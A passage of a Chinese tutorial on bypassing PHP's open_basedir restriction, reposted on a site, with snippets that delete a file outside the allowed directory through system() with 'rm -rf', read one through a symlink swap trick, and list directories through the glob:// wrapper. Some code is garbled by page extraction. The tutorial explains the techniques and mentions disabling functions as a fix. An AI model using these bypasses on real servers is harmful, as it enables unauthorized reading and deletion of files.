<"../1.txt");
"" src="/UploadFiles/2021-04-02/201861015001.jpg">

很明显我们无法直接读取open_basedir所规定以外的目录文件。


接下来我们用system函数尝试绕open_basedir的限制来删除1.txt


编辑1.php为


<"rm -rf ../1.txt");
"" src="/UploadFiles/2021-04-02/201861015002.jpg">

执行1.php之后

成功通过命令执行函数绕过open_basedir来删除文件。

由于命令执行函数一般都会被限制在disable_function当中，所以我们需要寻找其他的途径来绕过限制。
0x02 symlink()函数
我们先来了解一下symlink函数

bool symlink ( string $target , string $link )

symlink函数将建立一个指向target的名为link的符号链接，当然一般情况下这个target是受限于open_basedir的。

由于早期的symlink不支持windows，我的测试环境就放在Linux下了。


测试的PHP版本是5.3.0，其他的版本大家自测吧。


在Linux环境下我们可以通过symlink完成一些逻辑上的绕过导致可以跨目录操作文件。


我们首先在/var/www/html/1.php中 编辑1.php的内容为


<"c");
  chdir("c");
  mkdir("d");
  chdir("d");
  chdir("..");
  chdir("..");
  symlink("c/d","tmplink");
  symlink("tmplink/../../1.txt","exploit");
  unlink("tmplink");
  mkdir("tmplink");
  echo file_put_contents("http://127.0.0.1/exploit");
"abc"


再来设置一下我们的open_basedir

open_basedir = /var/www/html/

在html目录下编辑一个php脚本检验一下open_basedir


<"../1.txt");
"" src="/UploadFiles/2021-04-02/201861015004.jpg">

意料之中，文件无法访问。


我们执行刚才写好的脚本，1.php

可以看到成功读取到了1.txt的文件内容，逃脱了open_basedir的限制


问题的关键就在于

symlink("tmplink/../../1.txt","exploit");

此时tmplink还是一个符号链接文件，它指向的路径是c/d，因此exploit指向的路径就变成了

c/d/../../1.txt

由于这个路径在open_basedir的范围之内所以exploit成功建立了。


之后我们删除tmplink符号链接文件再新建一个同名为tmplink的文件夹，这时exploit所指向的路径为

tmplink/../../


由于这时候tmplink变成了一个真实存在的文件夹所以tmplink/../../变成了1.txt所在的目录即/var/www/


然后再通过访问符号链接文件exploit即可直接读取到1.txt的文件内容


当然，针对symlink()只需要将它放入disable_function即可解决问题，所以我们需要寻求更多的方法。
0x03 glob伪协议
glob是php自5.3.0版本起开始生效的一个用来筛选目录的伪协议，由于它在筛选目录时是不受open_basedir的制约的，所以我们可以利用它来绕过限制，我们新建一个目录在/var/www/下命名为test


并且在/var/www/html/下新建t.php内容为


<"glob:///var/www/test/*.txt";
  if ( $b = opendir($a) ) {
    while ( ($file = readdir($b)) !== false ) {
      echo "filename:".$file."\n";
    }
    closedir($b);
  }
"" src="/UploadFiles/2021-04-02/201861015007.jpg">

成功躲过open_basedir的限制读取到了文件。

                                
                                

                                    PHP,open_basedir 
                                
DDR爱好者之家 Design By 杰米
                            
                        
                        

                            

                                广告合作：本站广告合作请联系QQ：858582 申请时备注：广告合作（否则不回）

                                免责声明：本站资源来自互联网收集,仅供用于学习和交流,请遵循相关法律法规,本站一切资源不代表本站立场,如有侵权、后门、不妥请联系本站删除！
                            
                        
                        

                            

                                
                                    上一篇
                                    
thinkPHP5框架自定义验证器实现方法分析
                                
                            
                            

                                
                                    下一篇
                                    
PHPMailer ThinkPHP实现自动发送邮件功能
                                
                            
                        
                        
                        
DDR爱好者之家 Design By 杰米
                        

                            

                                
                                
                                    评论“PHP绕过open_basedir限制操作文件的方法”
                                
                            
                            

                                

                                    

                                        

                                            

                                                

                                                    
                                                
                                                

                                                    
                                                
                                                

                                                    

                                                    

                                                    

                                                
                                                

                                                     再想想
                                                    
                                                    
                                                    
                                                    
                                                    
                                                
                                            
                                            

                                        
                                    
                                    

                                    

                                        
暂无评论...